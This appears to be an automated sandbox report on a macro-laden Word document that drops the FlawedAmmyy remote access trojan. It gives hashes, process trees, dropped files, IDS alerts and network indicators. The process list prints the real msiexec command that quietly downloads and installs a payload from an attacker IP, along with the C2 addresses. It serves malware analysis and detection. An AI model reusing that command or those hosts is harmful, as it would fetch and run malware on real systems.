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File name:

temp_1545300399719.-2117284857.doc

Full analysis: https://app.any.run/tasks/6e81db01-df0e-4049-9a41-f027cb6c420b
Verdict: Malicious activity
Threats:

FlawedAmmmyy is a RAT type malware that can be used to perform actions remotely on an infected PC. This malware is well known for being featured in especially large campaigns with wide target demographics.

Analysis date: February 19, 2019, 00:33:47
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-open
generated-doc
exe-to-msi
loader
rat
flawedammyy
ammyy
trojan
Indicators:
MIME: application/msword
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1251, Title: 1, Author: 1, Template: Normal.dotm, Last Saved By: 1, Revision Number: 2, Name of Creating Application: Microsoft Office Word, Create Time/Date: Mon Feb 18 20:07:00 2019, Last Saved Time/Date: Mon Feb 18 20:07:00 2019, Number of Pages: 1, Number of Words: 23, Number of Characters: 137, Security: 0
MD5:

93E5AF41B2994E60FE1655994DCC1FC3

SHA1:

0DF9F97D57786EBDC54C95218DE8BB762E32ABBA

SHA256:

32318477E1C624E585C61546FAE2059D2FF8F3732A988E890665C2D81B3651CC

SSDEEP:

768:5pMLELemEgZnQgW5tmhdMgNMVkefr0VTEJ6eSX:5LLemXZQgW5IYgNlPoJ6vX

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Uses Microsoft Installer as loader

      • WINWORD.EXE (PID: 2952)
    • Unusual execution from Microsoft Office

      • WINWORD.EXE (PID: 2952)
    • Downloads executable files from IP

      • msiexec.exe (PID: 3576)
    • Loads the Task Scheduler DLL interface

      • MSI7A06.tmp (PID: 3564)
    • Downloads executable files from the Internet

      • msiexec.exe (PID: 3576)
    • Application was dropped or rewritten from another process

      • wsus.exe (PID: 920)
      • wsus.exe (PID: 3036)
    • Loads the Task Scheduler COM API

      • MSI7A06.tmp (PID: 3564)
    • Changes the autorun value in the registry

      • MSI7A06.tmp (PID: 3564)
    • Connects to CnC server

      • wsus.exe (PID: 920)
    • FLAWEDAMMYY was detected

      • wsus.exe (PID: 920)
  • SUSPICIOUS

    • Executable content was dropped or overwritten

      • msiexec.exe (PID: 3576)
      • MSI7A06.tmp (PID: 3564)
    • Drop ExeToMSI Application

      • msiexec.exe (PID: 3576)
    • Starts CMD.EXE for commands execution

      • MSI7A06.tmp (PID: 3564)
    • Creates files in the program directory

      • MSI7A06.tmp (PID: 3564)
    • Creates files in the Windows directory

      • MSI7A06.tmp (PID: 3564)
  • INFO

    • Creates files in the user directory

      • WINWORD.EXE (PID: 2952)
    • Writes to a desktop.ini file (may be used to cloak folders)

      • msiexec.exe (PID: 3576)
    • Starts application with an unusual extension

      • msiexec.exe (PID: 3576)
    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 2952)
    • Application was dropped or rewritten from another process

      • MSI7A06.tmp (PID: 3564)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.doc | Microsoft Word document (54.2)
.doc | Microsoft Word document (old ver.) (32.2)

EXIF

FlashPix

Title: 1
Subject: -
Author: 1
Keywords: -
Comments: -
Template: Normal.dotm
LastModifiedBy: 1
RevisionNumber: 2
Software: Microsoft Office Word
TotalEditTime: -
CreateDate: 2019:02:18 20:07:00
ModifyDate: 2019:02:18 20:07:00
Pages: 1
Words: 23
Characters: 137
Security: None
CodePage: Windows Cyrillic
Company: -
Lines: 1
Paragraphs: 1
CharCountWithSpaces: 159
AppVersion: 16
ScaleCrop: No
LinksUpToDate: No
SharedDoc: No
HyperlinksChanged: No
TitleOfParts: 1
HeadingPairs:
  • Название
  • 1
CompObjUserTypeLen: 32
CompObjUserType: ???????? Microsoft Word 97-2003
No data.
screenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
41
Monitored processes
8
Malicious processes
4
Suspicious processes
0

Behavior graph

Click at the process to see the details
start drop and start drop and start winword.exe no specs msiexec.exe no specs msiexec.exe msi7a06.tmp #FLAWEDAMMYY wsus.exe cmd.exe no specs wsus.exe no specs cmd.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
2952"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\temp_1545300399719.-2117284857.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXEexplorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
2172"C:\Windows\System32\msiexec.exe" back=001 error=exit /i http://185.17.120.235/select /q OnLoad="c:\windows\calc.exe" Aciqy=¶µ±VIks1C:\Windows\System32\msiexec.exeWINWORD.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows® installer
Exit code:
0
Version:
5.0.7600.16385 (win7_rtm.090713-1255)
3576C:\Windows\system32\msiexec.exe /VC:\Windows\system32\msiexec.exe
services.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Windows® installer
Version:
5.0.7600.16385 (win7_rtm.090713-1255)
3564"C:\Windows\Installer\MSI7A06.tmp"C:\Windows\Installer\MSI7A06.tmp
msiexec.exe
User:
admin
Company:
IBM Controler' System Security Control
Integrity Level:
MEDIUM
Description:
IBM Controler' System Security Control
Exit code:
0
Version:
2.8.17228.1
920"C:\ProgramData\Microsofts Help\wsus.exe"C:\ProgramData\Microsofts Help\wsus.exe
MSI7A06.tmp
User:
admin
Company:
Microsoft Block Security
Integrity Level:
MEDIUM
Description:
Microsoft Block Security
Version:
1.18.2.51920
3288"C:\Windows\system32\cmd.exe" /c del C:\Windows\INSTAL~1\MSI7A06.tmp >> NULC:\Windows\system32\cmd.exeMSI7A06.tmp
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
3036"C:\ProgramData\Microsofts Help\wsus.exe" C:\ProgramData\Microsofts Help\wsus.exetaskeng.exe
User:
admin
Company:
Microsoft Block Security
Integrity Level:
MEDIUM
Description:
Microsoft Block Security
Exit code:
0
Version:
1.18.2.51920
3048"C:\Windows\system32\cmd.exe" /c del C:\Windows\INSTAL~1\MSI7A06.tmp >> NULC:\Windows\system32\cmd.exeMSI7A06.tmp
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Total events
1 265
Read events
823
Write events
0
Delete events
0

Modification events

No data
Executable files
3
Suspicious files
6
Text files
9
Unknown types
6

Dropped files

PID
Process
Filename
Type
2952WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR6A92.tmp.cvr
MD5:
SHA256:
2952WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~DF7DA80435BAE1D73F.TMP
MD5:
SHA256:
2952WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~DF431FD8F69B61D3F5.TMP
MD5:
SHA256:
2952WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~DF48E58DCC2FEC74D0.TMP
MD5:
SHA256:
3576msiexec.exeC:\Users\admin\AppData\Local\Temp\~DFF7BEDCFE3B479B7C.TMP
MD5:
SHA256:
2952WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:2F89B4AFBCBBD7F978DD787116C1EC0D
SHA256:B76CF2BAE2852C2069AD275490D10DA018A17CB7380FAF98C1AE5DCFBBD37A01
3576msiexec.exeC:\Config.Msi\24784f.rbs
MD5:
SHA256:
3576msiexec.exeC:\Users\admin\AppData\Local\Temp\~DF513ED6FCF3C408A0.TMP
MD5:
SHA256:
2952WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~$mp_1545300399719.-2117284857.docpgc
MD5:E33440515C98D33C40C202E768787CEC
SHA256:F6AE896A22A7E971B477D964B2AEE0A75AF79AD848309AD00EF362E4E87A27EE
3576msiexec.exeC:\Users\admin\AppData\Local\Temp\History\History.IE5\index.datdat
MD5:D7A950FEFD60DBAA01DF2D85FEFB3862
SHA256:75D0B1743F61B76A35B1FEDD32378837805DE58D79FA950CB6E8164BFA72073A
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
2
TCP/UDP connections
3
DNS requests
0
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3564
MSI7A06.tmp
GET
200
185.17.120.235:80
http://185.17.120.235/dat4.omg
RU
binary
657 Kb
suspicious
3576
msiexec.exe
GET
200
185.17.120.235:80
http://185.17.120.235/select
RU
executable
168 Kb
suspicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
3564
MSI7A06.tmp
185.17.120.235:80
Leaseweb Deutschland GmbH
RU
suspicious
3576
msiexec.exe
185.17.120.235:80
Leaseweb Deutschland GmbH
RU
suspicious
920
wsus.exe
169.239.129.31:80
Zappie Host LLC
ZA
malicious

DNS requests

No data

Threats

PID
Process
Class
Message
3576
msiexec.exe
Misc activity
SUSPICIOUS [PTsecurity] Using msiexec.exe for Downloading non-MSI file
3576
msiexec.exe
Potential Corporate Privacy Violation
POLICY [PTsecurity] Executable application_x-msi Download
920
wsus.exe
A Network Trojan was detected
MALWARE [PTsecurity] FlawedAmmyy.RAT
920
wsus.exe
A Network Trojan was detected
MALWARE [PTsecurity] AMMYY RAT
920
wsus.exe
A Network Trojan was detected
ET TROJAN Win32/FlawedAmmyy RAT CnC Checkin
920
wsus.exe
A Network Trojan was detected
MALWARE [PTsecurity] FlawedAmmyy.RAT Checkin
1 ETPRO signatures available at the full report
Process
Message
MSI7A06.tmp
C:\ProgramData\Microsofts Help\template_124e330.DATAHASH
MSI7A06.tmp
--End Dowload--